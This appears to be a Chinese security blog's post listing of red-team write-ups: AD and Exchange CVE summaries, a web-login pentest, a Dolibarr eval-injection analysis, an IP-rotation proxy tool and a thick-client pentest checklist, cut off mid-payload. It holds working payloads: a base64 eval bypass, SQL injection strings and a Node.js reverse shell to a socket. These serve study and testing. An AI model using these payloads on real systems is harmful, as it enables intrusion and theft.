ISHACK AI BOT 发布的所有帖子
-
红队|域渗透重要漏洞总结
1.MS14-068 kerberos认证,no PAC 用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据 漏洞效果: 将任意域用户提升到域管权限 利用条件: 1.小于2012R2的域控 没有打MS14-068的补丁(KB3011780) 2.拿下一台加入域的计算机 3.有这台域内计算机的域用户密码和Sid 利用方式: 在《Kerberos认证及过程中产生的攻击》一文中有详细讲 这可以看 https://cloud.tencent.com/developer/article/1760132 2.CVE-2020-1472 NetLogon特权提升漏洞(CVE-2020-1472)是一个windows域控中严重的远程权限提升漏洞。 Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致 以将域控机器用户的password设置为空。 这样我们就可以导域管hash,最后再还原域控机器用户的密码 漏洞效果: 可利用此漏洞获取域管访问权限 影响版本: 利用方式: https://cloud.tencent.com/developer/article/1780108 https://cloud.tencent.com/developer/article/1837483 3.CVE-2021-42287&42278 Windows域服务权限提升漏洞(CVE-2021-42287, CVE-2021-42278)是由于Active Directory 域服务没有进行适当的安全限制,导致可绕过安全限制进行权限提升。攻击者可利用该漏洞造成将域内的普通用户权限提升到域管理员权限 漏洞效果: 将任意域用户提升到域管权限 影响版本: 利用条件 : (1)一个普通域成员帐户 (2)域用户有创建机器用户的权限(一般默认权限) (3)DC未打补丁KB5008380或KB5008602 利用方式: https://blog.csdn.net/FHLZLHQ/article/details/121964692 4.CVE-2021-1675/CVE-2021-34527 PrintNightmare 此漏洞一开始为CVE-2021-1675,随后微软把此漏洞分配给了CVE-2021-34527,并提到了两个漏洞很像,但是攻击向量是不同的。 Print Spooler是Windows系统中管理打印相关事务的服务,用于管理所有本地和网络打印队列并控制所有打印工作。Windows系统默认开启 Print Spooler 服务,普通用户可以利用此漏洞提升至SYSTEM管理权限。 漏洞效果: 未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代码,从而获得整个域的控制权 影响版本: 利用场景 在工作组环境下,可通过该漏洞获取系统最高权限;域环境下,直接攻击域控制器可以获取域控的SYSTEM权限,执行任意代码;可用于持久化的操作,得到域控后,在有共享目录、能访问到域控的情况下,远程的加载共享目录下的DLL。利用条件 目标开启Spooler服务;一个普通权限的域账户;创建的smb服务允许匿名访问,即目标可以直接获取到文件。利用方式 https://bewhale.github.io/posts/29501.html https://mp.weixin.qq.com/s/1sR0wTyJFf5UnuPjtJ-DWw 5.CVE-2019-1040 2019年6月,Microsoft发布了一条安全更新。该更新针对CVE-2019-1040漏洞进行修复。此次漏洞,攻击者可以通过中间人攻击,绕过NTLM MIC(消息完整性检查)保护,将身份验证流量中继到目标服务器。 漏洞效果 通过这种攻击使得攻击者在仅有一个普通域账号的情况下可以远程控制 Windows 域内的任何机器,包括域控服务器。 影响版本 Windows 7 sp1 至Windows 10 1903 Windows Server 2008 至Windows Server 2019 利用场景 对于特定环境, CVE-2019-1040漏洞的攻击链目前已经确定的两种攻击途径: 1、攻击域Exchange Server (下面以这种途径来描述) 2、攻击域AD Server(结合基于资源的约束委派) 利用条件 A、Exchange服务器可以是任何版本(包括为PrivExchange修补的版本)。唯一的要求是,在以共享权限或RBAC模式安装,Exchange默认具有高权限。 B、域内任意账户。(由于能产生SpoolService错误的唯一要求是任何经过身份验证的域内帐户) C、CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷,故可以修改NTLM身份验证数据包而不会使身份验证失效。而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志。 D、构造请求使Exchange Server向攻击者进行身份验证,并通过LDAP将该身份验证中继到域控制器,即可使用中继受害者的权限在Active Directory中执行操作。比如为攻击者帐户授予DCSync权限。 E、如果在可信但完全不同的AD林中有用户,同样可以在域中执行完全相同的攻击。(因为任何经过身份验证的用户都可以触发SpoolService反向连接) 漏洞利用攻击链 1、使用域内任意帐户,通过SMB连接到被攻击ExchangeServer,并指定中继攻击服务器。同时必须利用SpoolService错误触发反向SMB链接。 2、中继服务器通过SMB回连攻击者主机,然后利用ntlmrelayx将利用CVE-2019-1040漏洞修改NTLM身份验证数据后的SMB请求据包中继到LDAP。 3、使用中继的LDAP身份验证,此时Exchange Server可以为攻击者帐户授予DCSync权限。 4、攻击者帐户使用DCSync转储AD域中的所有域用户密码哈希值(包含域管理员的hash,此时已拿下整个域)。 利用方式: 同一网段内:https://www.freebuf.com/vuls/274091.html 隧道下:https://zhuanlan.zhihu.com/p/142080911 CVE-2019-1040+RBCD(基于资源的约束性委派)+PetitPatom 6.域委派攻击 https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ 7.NTLM Relay https://www.anquanke.com/post/id/193149 https://www.anquanke.com/post/id/193493 https://www.anquanke.com/post/id/194069 https://www.anquanke.com/post/id/194514 8.ADCS漏洞--ESC8(PetitPotam)(ADCS relay) ESC8是一个http的ntlm relay,原因在于ADCS的认证中支持NTLM认证 漏洞效果: 将普通域用户提升到域管权限 利用条件: 1.未打adcs的补丁 2.有两台域控 3.有adcs服务 利用方式: https://blog.csdn.net/qq_43645782/article/details/119322322 https://forum.butian.net/share/1583 9.ADCS漏洞--CVE-2022–26923 漏洞影响: 允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员 漏洞组件:活动目录证书服务(Active Directory Certificate Services,AD CS) 漏洞简述:通过构造机器账户并篡改dNSHostName属性,在证书申请时AD CS将dNSHostName属性嵌入证书中,进而机器账户获得高权限的域控身份。 受影响的 Windows 版本: Windows 8.1 Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2 Windows 11 Windows Server 2008,2012,2016,2019,2022 利用先决条件: CVE-2022-26923/CVE-2022-26931漏洞与2021年CVE-2021-42278/CVE-2021-42287sAMAccountName spoofing漏洞类似,均通过利用伪造域控制器名称身份来进行相关的提权操作。它的利用先决条件为: 该提权漏洞适用于所有的Windows服务器活动目录版本,包含目前位于微软产品支持范围内的Windows Server 2012 R2到Windows Server 2022,以及超出产品支持范围的旧Windows服务器版本。入侵者至少控制一个活动目录用户账户,该用户账户对于活动目录中至少一个计算机账户具有“Validated write to DNS host name”权限。默认情况下,单个活动目录普通域用户可以加入或创建(包含创建空账户)10个计算机账户到活动目录中,并对自己所加入/创建的计算机账户具有CREATOR OWNER管理权限(包含“Validated write to DNShost name”权限)。因此该权限较为容易获得。在活动目录内部部署有企业证书服务,并允许上述被控制的计算机账户申请计算机身份验证证书。企业证书服务是活动目录中广泛部署的一种相关基础服务,并且默认情况下,与活动目录集成的企业证书服务默认即允许域内计算机申请计算机身份验证证书。复现参考: https://forum.butian.net/share/1578 https://forum.butian.net/share/1583 10.Exchange相关,可控制Exchange服务器 Exchange在域内有着重要的地位,一般来说,拿到Exchange服务器的权限,基本等同于拿到域管的权限。拿到Exchange服务器,有很大概率就是域管直接登录的。或者域管曾经登录过。拿到Exchange服务器权限的时候,可以尝试直接dir下域控的C盘,看有没有权限。如果没有权限,再尝试使用mimikatz抓一波密码,很大概率可以直接抓到域管或者高权限用户。而且就算是高版本的server,在Exchange上也能抓到明文密码。 11.CVE-2018-8581 (拿域控) 漏洞描述: 该漏洞利用了 Exchange 服务器的 SSRF 和高权限的请求,导致拥有合法邮箱凭证的用户可以被提升至域管权限 影响范围: 利用条件: Exchange 默认配置下,攻击者拥有合法的邮箱用户凭证,同时,该漏洞利用是通过 NTLM Relay的方式进行提权,因此攻击者需要已经在内网环境中取得可用主机。 漏洞简介: 该漏洞的发生源于几个方面: 首先,Exchange 允许任意用户(只要是通过了认证的)通过 EWS 接口来创建一个推送订阅(Push Subscription),并可以指定任意 URL 作为通知推送的目的地;其次,通知被订阅推送后,当触发推送时,Exchange 使用了 CredentialCache 类的 DefaultCredentials 属性,由于 EWS 以 SYSTEM 权限运行,当使用 DefaultCredentials 时发出的 HTTP 请求将使用该权限发起 NTLM 认证;在 EWS 请求中,通过在 Header 中使用 SerializedSecurityContext,指定 SID 可以实现身份伪装,从而以指定用户身份进行 EWS 调用操作。也就是说【我们可以控制Exchange服务器向我们发起HTTP 协议的NTLM 请求,这样我们就能拿到Exchange机器用户的 Net-Ntlm Hash】 由于该漏洞利用涉及 NTLM 的重放攻击,一种很容易想到的思路就是将该凭证重放到域控机器。由于重放的 NTLM 凭证来自 Exchange 服务器的机器用户权限,根据Relay To LDAP一节的描述,我们知道Exchange机器用户具有write-acl权限,可以给任意用户提权,赋予Dcsync的权限,从而dump出所有密码哈希值。 服务端是否要求签名: 我们Relay到的服务端是Ldap,在前面【ldap签名】一节提到,Ldap服务器的默认策略是协商签名。是否签名是由客户端决定的。客户端分情况,如果是smb协议的话,默认要求签名的,如果是webadv或者http协议,是不要求签名的 在这个漏洞里面发起的请求是http协议,这也就意味着我们什么都不用做,在这个漏洞中并不要求签名。 EXP : 复现可以参考这篇文章: CVE-2020-0688 (RCE)漏洞描述:当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码,就可以在被攻击的exchange上执行任意代码,直接获取服务器权限。 利用条件:Exchange Server 2010 SP3/2013/2016/2019,普通账号。 攻击脚本: 复现: https://www.anquanke.com/post/id/226543#h3-13 12.CVE-2020-17144 (RCE) 漏洞描述:远程攻击者通过构造特殊的cmdlet参数,绕过身份验证利用改漏洞可造成任意远程命令执行。 利用条件:Exchange2010,普通账号。 攻击脚本1: 攻击脚本2: 13.CVE-2020-16875 (RCE) 漏洞描述:远程攻击者通过构造特殊的cmdlet参数,可造成任意命令执行。 影响版本 Exchange Server 2016 CU17 Exchange Server 2016 CU16(已测) Exchange Server 2019 CU5 Exchange Server 2019 CU6 利用条件:Exchange Server 2016/2019,普通账号。 攻击脚本: 复现:https://cloud.tencent.com/developer/article/1704777 14.CVE-2021-26855/CVE-2021-27065(getshell)(SSRF+任意文件写入) Exchange ProxyLogon远程代码执行漏洞 漏洞概述: CVE-2021-26855与CVE-2021-27065是微软在2021年3月2日发布的高危漏洞公告。这套组合拳被称为ProxyLogon,可直接获取目标邮件服务器主机权限。 CVE-2021-26855 SSRF 漏洞 ,该漏洞是Exchange中的服务端请求伪造漏洞(SSRF),利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证,远程未授权的攻击者可以利用该漏洞以进行内网探测,并可以用于窃取用户邮箱的全部内容。 CVE-2021-27065 任意文件写入漏洞,该漏洞是Exchange中的任意文件写入漏洞。该漏洞需要进行身份认证,利用此漏洞可以将文件写入服务器上的任何路径。并可以结合利用CVE-2021-26855 SSRF漏洞可绕过权限认证进行文件写入。 影响范围: Exchange Server 2019 < 15.02.0792.010 Exchange Server 2019 < 15.02.0721.013 Exchange Server 2016 < 15.01.2106.013 Exchange Server 2013 < 15.00.1497.012 利用原理: 通过ssrf漏洞读取到邮箱用户的SID——>通过有效SID结合任意文件写入漏洞上传以.aspx结尾的文件,在其中插入一句话木马——>造成交互式shell。 利用条件: 需要邮箱用户名称 该漏洞不同于以往的 exchange 漏洞,此漏洞并不需要一个可登录的用户身份,可以在未授权的情况下获取内部用户资源,配合 CVE-2021-27065 可以实现远程命令执行。 漏洞触发必要条件 目标服务器存在漏洞目标 exchange 服务器必须为负载均衡服务器,即同时使用两台及以上服务器目标邮箱地址,注意,该地址需要为域内邮件地址而非邮箱地址,二者存在差异攻击者还必须标识内部Exchange服务器的完全限定域名(FQDN)以上四项中,FQDN 可以通过 ntlm type2 消息抓取;邮件地址可以直接枚举。 利用CVE-2021-26855 SSRF漏洞枚举邮箱: (工具:https://github.com/charlottelatest/CVE-2021-26855) 因为我们通过nmap获取了域名。user.txt里面为我们加入的邮箱名字典 go run CVE-2021-26855.go -h 192.168.110.152 -U user.txt 利用方式: 复现: https://blog.csdn.net/qq_44159028/article/details/123825115 分析与复现: https://www.anquanke.com/post/id/259902 15.CVE-2021-34473 (RCE) (SSRF) Exchange ProxyShell SSRF 漏洞描述: 攻击者利用该漏洞可绕过相关权限验证,进而配合其他漏洞可执行任意代码,控制Microsoft Exchange Server。 ProxyShell攻击链利用使用了以下漏洞: CVE-2021-34473 Microsoft Exchange ACL绕过漏洞 CVE-2021-34523 Microsoft Exchange权限提升漏洞 CVE-2021-31207 Microsoft Exchange授权任意文件写入漏洞 微软官方于 2021年4月已发布相关补丁,2021年7月发布漏洞通告,可前往微软官方下载相应补丁进行更新: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 影响版本 Microsoft Exchange Server 2010 Microsoft Exchange Server 2013 Microsoft Exchange Server 2016 Microsoft Exchange Server 2019 利用条件: 仅仅需要邮箱用户名称(用户名即可)) 利用方法: 复现: https://www.cnblogs.com/colin-B/p/15783751.html https://blog.csdn.net/qq_40989258/article/details/119750829 16.CVE-2022-41028(RCE) Microsoft Exchange Server 存在远程代码执行漏洞,经过身份验证的攻击者可利用此漏洞在目标系统上执行任意代码。 原文连接:https://github.com/HackingCost/AD_Pentest 作者:HackingCost
-
记一次web登录通杀渗透测试
在渗透测试过程中,碰见的web登录页面特别多,那么我们应该用什么样的思路去进行一个测试呢,下面看看我的一些测试师思路ba 测试思路 当看见一个这样的web登录框时,会怎么样进行一个渗透呢 弱口令 我们可以看见 这个登录时并没有存在一个验证码,就会存在一个爆破问题 那么一般爆破的用户名又会存在那些呢 1.admin 2.test 3.root 这里也可以去查找对应系统的的操作手测,收集管理账号,增加爆破机率 在这里进行了爆破,并没有结果 目录扫描 我们可以去扫描目录 可能一些被扫描出来的目录未做鉴权 可直接访问 JS文件未授权 上面方法都无果后,我们接下来去看下JS文件 发现在index.js中存在一个/SystemMng/Index的url 我们尝试拼接访问 拼接进来后 发现什么都没有 是不是准备放弃了 别急 我们再看看JS 是不是发现惊喜了 拼接几个危害都挺大的 拿个可以继续利用的给大家 组合拳弱口令爆破 到这里我们拿到了管理员的账号以及电话了,也可以直接重置他们密码了(拿正确的账号再去尝试爆破) 可以看见 password被加密了 发现为m5 我们利用burp自带的转码爆破即可 爆破成功 账号比较复杂 在没前面的操作下拿不到用户名 登录成功 登录返回包测试 随意输入登录的账号密码登录抓包 修改他的鉴权数据后 修改后发现跳转的还无数据 JS中还是存在泄露 利用方法一样 越权 现在已经拿到了普通用户的账号密码了,那我们后面应该去尝试一个越权 垂直越权 或者 平行越权 拿爆破的号进行登录抓包处理,这个地方师傅们在挖掘的时候可以多看几遍数据包以及返回包 开始在构造时 以为是校验ID 后面多测试几轮下来,发现只会去识别code参数 从未授权到拿到网站的所有权限 原文连接: https://xz.aliyun.com/t/11612
-
CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析
0x01 漏洞简介 Dolibarr ERP & CRM <=15.0.3 is vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval. CVE编号:CVE-2022-2633 漏洞描述:Dolibarr edit.php 存在远程命令执行漏洞,攻击者通过逻辑漏洞创建管理员后可以通过后台漏洞获取服务器权限 影响版本:<= 15.0.3 0x02 漏洞分析 1.环境搭建 源码下载地址:https://github.com/Dolibarr/dolibarr/archive/refs/tags/15.0.3.zip 解压到web目录下直接访问~/htdocs/即可 然后配置一下conf/conf.php即可进行安装 2.任意管理员用户注册 这其实算是个逻辑漏洞,在install系统以后,他不会进行锁定,而是需要用户在documents目录中手动添加,所以我们随时可以进入这里去添加管理员账号:~/install/step4.php 比如这里我添加一个aaa用户 可以成功进入后台的 3.后台RCE 后台RCE的最后点在htdocs/core/lib/functions.lib.php的dol_eval()函数 但是这里是有waf的,把大多数的危险函数都给ban了 // We block use of php exec or php file functions $forbiddenphpstrings = array('$$'); $forbiddenphpstrings = array_merge($forbiddenphpstrings, array('_ENV', '_SESSION', '_COOKIE', '_GET', '_POST', '_REQUEST')); $forbiddenphpfunctions = array("exec", "passthru", "shell_exec", "system", "proc_open", "popen", "eval", "dol_eval", "executeCLI"); $forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("fopen", "file_put_contents", "fputs", "fputscsv", "fwrite", "fpassthru", "require", "include", "mkdir", "rmdir", "symlink", "touch", "unlink", "umask")); $forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("function", "call_user_func")); $forbiddenphpregex = 'global\s+\$|\b('.implode('|', $forbiddenphpfunctions).')\b'; do { $oldstringtoclean = $s; $s = str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $s); $s = preg_replace('/'.$forbiddenphpregex.'/i', '__forbiddenstring__', $s); //$s = preg_replace('/\$[a-zA-Z0-9_\->\$]+\(/i', '', $s); // Remove $function( call and $mycall->mymethod( } while ($oldstringtoclean != $s); if (strpos($s, '__forbiddenstring__') !== false) { dol_syslog('Bad string syntax to evaluate: '.$s, LOG_WARNING); if ($returnvalue) { return 'Bad string syntax to evaluate: '.$s; } else { dol_syslog('Bad string syntax to evaluate: '.$s); return ''; } } //print $s."<br>\n"; if ($returnvalue) { if ($hideerrors) { return @eval('return '.$s.';'); } else { return eval('return '.$s.';'); } } else { if ($hideerrors) { @eval($s); } else { eval($s); } } 这里再去找找dol_eval()的调用,上面的verifCond()就调用了 而这里进行了一个拼接,这个外面后面再谈 function verifCond($strToEvaluate) { global $user, $conf, $langs; global $leftmenu; global $rights; // To export to dol_eval function //print $strToEvaluate."<br>\n"; $rights = true; if (isset($strToEvaluate) && $strToEvaluate !== '') { $str = 'if(!('.$strToEvaluate.')) $rights = false;'; dol_eval($str, 0, 1, '2'); } return $rights; } 再转而寻找verifCond函数的全局的参数可控的调用,在menubase.class.php的menuLoad()函数中就存在一个点 可以看到这里verifCond代码虽然是可控的,但是是从数据库中查询的结果中获取的 关注perms和enable,这两个都是可以直接进入verifCond的 $resql = $this->db->query($sql); if ($resql) { $numa = $this->db->num_rows($resql); $a = 0; $b = 0; while ($a < $numa) { //$objm = $this->db->fetch_object($resql); $menu = $this->db->fetch_array($resql); // Define $right $perms = true; if (isset($menu['perms'])) { $tmpcond = $menu['perms']; if ($leftmenu == 'all') { $tmpcond = preg_replace('/\$leftmenu\s*==\s*["\'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true } $perms = verifCond($tmpcond); //print "verifCond rowid=".$menu['rowid']." ".$tmpcond.":".$perms."<br>\n"; } // Define $enabled $enabled = true; if (isset($menu['enabled'])) { $tmpcond = $menu['enabled']; if ($leftmenu == 'all') { $tmpcond = preg_replace('/\$leftmenu\s*==\s*["\'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true } $enabled = verifCond($tmpcond); } 我们去前面看看这里执行的sql语句,他是从".MAIN_DB_PREFIX."menu表中查询的数据,但是有WHERE条件语句 m.entity IN (0,".$conf->entity.") m.menu_handler IN ('".$this->db->escape($menu_handler)."','all') 所以我们如果能找到一个INSERT进".MAIN_DB_PREFIX."menu中、可以控制perms和enable字段并且entity和menu_handler能满足WHERE条件的语句即可,这里注意entity来源于$conf->entity $sql = "SELECT m.rowid, m.type, m.module, m.fk_menu, m.fk_mainmenu, m.fk_leftmenu, m.url, m.titre, m.prefix, m.langs, m.perms, m.enabled, m.target, m.mainmenu, m.leftmenu, m.position"; $sql .= " FROM ".MAIN_DB_PREFIX."menu as m"; $sql .= " WHERE m.entity IN (0,".$conf->entity.")"; $sql .= " AND m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')"; if ($type_user == 0) { $sql .= " AND m.usertype IN (0,2)"; } if ($type_user == 1) { $sql .= " AND m.usertype IN (1,2)"; } $sql .= " ORDER BY m.position, m.rowid"; 这里直接正则搜索一下,的确存在这么个点,在同一个文件的create()函数 接下来得看看参数是否可控,这里的VALUES设定为成员属性,但是entity是$conf->entity,这里就直接满足了条件,因为上面SQL查询也是这个 接下来发现menu_handler在执行menuLoad函数的时候都会自动填入的 所以这两个WHERE条件都解决了,剩下就是看perms和enable是否可控了,在类内部没看到有对成员变量赋值的地方,所以还得全局搜索一下 发现perms和enable在menus/edit.php中都是可以直接控制的 经过调试发现,这里menuId需要唯一否则会冲突无法写入数据库,这里的type需要设置为1,否则也会报错 接下来就可以研究一下,如何去绕过waf执行eval,这里作者的做法是利用php的特性:变量函数 // file_put_contents $a=base64_decode('ZmlsZV9wdXRfY29udGVudHM='); // shellcode $a('.1234.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+Cg==')); 再往前看verifCond函数 这里进行了一个字符串的拼接,由于是执行eval的,所以我们可以去闭合他的括号,注释掉后面的代码 function verifCond($strToEvaluate) { global $user, $conf, $langs; global $leftmenu; global $rights; // To export to dol_eval function //print $strToEvaluate."<br>\n"; $rights = true; if (isset($strToEvaluate) && $strToEvaluate !== '') { $str = 'if(!('.$strToEvaluate.')) $rights = false;'; dol_eval($str, 0, 1, '2'); } return $rights; } 也就是这样的一个payload(无害化的payload 1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);// 然后放在enable参数存入数据库,最后发包如下 成功存入数据库 debug一下,进入verifCond 跟进verifCond,恶意构造拼接绕过,进入dol_eval 代码执行成功 成功getshell 漏洞调用栈 0x03 漏洞总结 这里这个RCE漏洞,其实原理类似于二次注入,先把恶意代码存入数据库,再从数据库提取数据时触发恶意代码,这里还绕过了一个waf,利用的是php的特性——变量函数 漏洞修复 这里作者对于漏洞的修复一个是verifCond函数的加固 这里取消了字符串的拼接且让dol_eval的第四个参数为"1" 这样就会走入下面的这个判断,看注释这里的正则就是为了防止RCE而设计的 一个是dol_eval函数的加强,这里forbiddenphpfunctions里添加了verifCond函数,直接禁止了verifCond的执行,但是不太懂这有啥意义hhh 作者:Huamang 转自原文连接: https://blog.huamang.xyz/post/cve-2022-40871/
-
自动化IP地址池脚本-Auto_proxy
利用Python脚本自动生成Clash配置文件,实现FUZZ自动切换IP。现在蓝狗封IP速度太快了,想想当年自己用Burp爆破封堵IP的日子就想哭。 不要问我为啥不用飞鱼,太贵了。0x00 购买IP地址池推荐余额套餐的方式进行购买,该脚本配合余额支付更划算。 http://http.py.cn/pay/?paytype=banlance 0x01 获取API接口购买套餐后,选择》API提取》直接提取,推荐配置如下: 1.余额提取。2.使用时长按需选择,建议选择25分钟-180分钟。3.提取数量建议为5-10,土豪随意。4.建议省份混拨,并选择自己所在省份或临近省份,提高访问速度。5.目前该代理协议仅支持SOKCS5连接。6.数据格式选择Json格式,方便脚本解析。7.选择属性全部勾选,否则会发生错误。8.IP去重365天。 0x02 部署说明将Auto_proxy代码(Auto_proxy_example.yaml, Auto_proxy.py, proxyIgnoreList.plist )拷贝到Clash配置文件目录下。 Windows默认:Clash\Data\profiles\Mac默认:~/.config/clash/ 修改Auto_proxy.py相关配置,主要参数如下。 test_url:需要监控测试的IP地址。py_api:上一步获取的品易API接口。max_connect_error:错误连接次数,连续连接错误N次,重新获取代理。 白名单配置,可参考https://www.cnblogs.com/PowerTips/p/14775956.html Windows:在Auto_proxy_example.yaml添加cfw-bypass配置。Mac: 直接使用项目中proxyIgnoreList.plist即可,需重启生效。注:务必将*.taolop.com加入白名单中,不然可能会导致代理失效一直重复获取代理。 0x03 使用说明在Clash目录下执行python3 Auto_proxy.py,同时Clash将配置选为Auto_proxy。 需将Clash配置为全局模式,同时设置系统代理,目前脚本设置两种规则: 加速模式:根据监控网站选择延迟最低的代理。负载模式:每次请求都会随机一条代理进行连接。 负载模式运行效果: 当运行错误超出设置阀值,会进行提示“IP已被封禁,重新获取代理”,此时Clash提示“重载配置文件”,需手动点击更新。 0x05 使用效果该效果模式为负载模式,测试Dirsearch, 其它工具请自行测试。 靶机端: python3 -m http.server 8000攻击端: python3 dirsearch.py -u http://X.X.X.X:8000 --proxy=http://127.0.0.1:7890 同时10个IP爆破目录,就问你慌不慌!
-
渗透测试C客户端(C-S架构)checklist
0x00 前言本项目主要针对pc客户端(cs架构)渗透测试,结合自身测试经验和网络资料形成checklist,如有任何问题,欢迎联系,期待大家贡献更多的技巧和案例。 0x01 概述PC客户端,有丰富功能的GUI,C-S架构。 0x02 开发语言C#(.NET),JAVA,DELPHI,C,C++...... 0x03 协议 TCP、HTTP(S),TDS...... 0x04 数据库 oracle,mssql,db2...... 0x05 测试工具 //相关工具下载:https://github.com/theLSA/hack-cs-tools dvta: pc客户端靶场 ida pro: 静态分析工具 ollydbg:动态分析工具 CFF Explorer:PE文件分析 PEID:查壳工具 exeinfope/studype:pe文件分析 wireshark:观察流量 tcpview:观察tcp流量 echo Mirage:可拦截tcp流量 burpsuite:http(s)抓包 proxifier:全局代理流量 procmon:文件和注册表监控 regshot:注册表变化对比 process Hacker:进程分析 RegfromApp:注册表监控 WSExplorer:岁月联盟进程抓包工具 strings:查看程序的字符串 .net[反]编译: dotpeek de4dot dnspy ilspy sae ildasm ilasm Java反编译 jad jd-gui jadx dex2jar 在线版: javare.cn www.javadecompilers.com Reflexil:组装编辑器(可以作为ilspy插件) Vcg:自动化代码审计工具 BinScope:二进制分析工具 0x06 代理设置大部分客户端没有代理配置功能,需要自行设置全局代理,如下两种方法: 1)IE-internet设置-连接-局域网设置。 2)proxifier --> proxy server/proxification rules //http的流量可以结合burpsuite方便测试(proxy server设置为burp代理地址)。 0x07 测试点0. 信息收集编译信息,开发环境/语言,使用协议,数据库,ip,混淆/加密,是否加壳等。 案例0-CFF查看客户端信息(如编译环境) dvta 1. 逆向工程反编译,源代码泄露,硬编码key/password,加解密逻辑,角色判断逻辑(0-admin,1-normaluser),后门等。 案例0-反编译获取加解密逻辑并编写解密工具 dvta 通过该逻辑和获取的信息Encrypted Text: CTsvjZ0jQghXYWbSRcPxpQ== AES KEY: J8gLXc454o5tW2HEF7HahcXPufj9v8k8 IV: fq20T0gMnXa6g0l4 编写解密工具 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Security.Cryptography; namespace aesdecrypt { public partial class aesdecrypt : Form { public aesdecrypt() { InitializeComponent(); } private void decrypt(object sender, EventArgs e) { String key = “J8gLXc454o5tW2HEF7HahcXPufj9v8k8”; String IV = “fq20T0gMnXa6g0l4”; String encryptedtext = “CTsvjZ0jQghXYWbSRcPxpQ==”; byte[] encryptedBytes = Convert.FromBase64String(encryptedtext); AesCryptoServiceProvider aes = new AesCryptoServiceProvider(); aes.BlockSize = 128; aes.KeySize = 256; aes.Key = System.Text.ASCIIEncoding.ASCII.GetBytes(key); aes.IV = System.Text.ASCIIEncoding.ASCII.GetBytes(IV); aes.Padding = PaddingMode.PKCS7; aes.Mode = CipherMode.CBC; ICryptoTransform crypto = aes.CreateDecryptor(aes.Key, aes.IV); byte[] decryptedbytes = crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length); String decryptedString = System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes); Console.WriteLine(“\n”); Console.WriteLine(“##########Decryptig Database password##########\n”); Console.WriteLine(“Decrypted Database password:” + decryptedString+”\n”); Console.WriteLine(“##########Done##########\n”); } } } //解密代码源自https://resources.infosecinstitute.com/damn-vulnerable-thick-client-app-part-5/#article 案例1-反编译修改代码逻辑让普通用户以管理员登录 dvta 1-Isadmin 0-Normaluser 改1为0即可判断为admin 2. 信息泄露明文敏感信息,敏感文件(如安装目录下的xxx.config)。 注册表:利用regshot比较客户端运行(如登录)前后注册表差别。 开发调试日志泄露(如dvta.exe >> log.txt) process hacker查看客户端内存中的明文敏感数据(如账号密码/key)。 strings直接查看客户端字符串(如ip信息)。 查看源代码(如github,gitee等) 案例0-配置敏感信息泄露 dvta 案例1-内存泄露数据库账号密码 dvta 案例2-源代码含有硬编码ftp账号密码 dvta 案例3-开发调试日志泄露 dvta 案例4-某系统登录后本地保存账号密码//本案例来源于https://blog.csdn.net/weixin_30685047/article/details/95916065 3. 传输流量wireshark/echo Mirage/burpsuite+nopeproxy/fillder/charles ftp等协议明文传输的账号密码 SQL语句明文传输(如利用构造注入,越权等) 案例0-正方教务系统sql语句明文传输,返回明文数据 //本案例来源于wooyu 案例1-某系统登录处数据包返回数据库帐号密码 4. 其他漏洞用户名枚举案例0 暴力破解如登录功能。 案例0 弱口令可尝试admin 123456等。 密码明文传输 SQL语句暴露案例0 案例1SQL注入如登录处,万能密码 xxx’ or ‘x’=’x xxx’ or 1=1-- 输入框处,构造闭合报错,如’、’)、%’)、order by 100--等。 利用显示位或报错注出数据,原理同web注入,不同数据库大同小异。 案例0-oracle注入 ' union select null,null,(select user from dual),null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual-- 案例1-mssql注入 111') and (select user)>0-- CSV注入如导出excel,输入1+1,导出后看是否为2。 XSS如Electron,NodeWebKit等。 案例0-中国蚁剑xss到rce 环境:win7+phpstudy(php5.6.27-nts)+perl+nc+antsword2.0.5 xss webshell: <?php header('HTTP/1.1 500 <img src=# onerror=alertx>'); windows+node.js: 成功 var net = require("net"), sh = require("child_process").exec("cmd.exe"); var client = new net.Socket(); client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);}); <?php header("HTTP/1.1 500 Not <img src=# onerror='eval(new 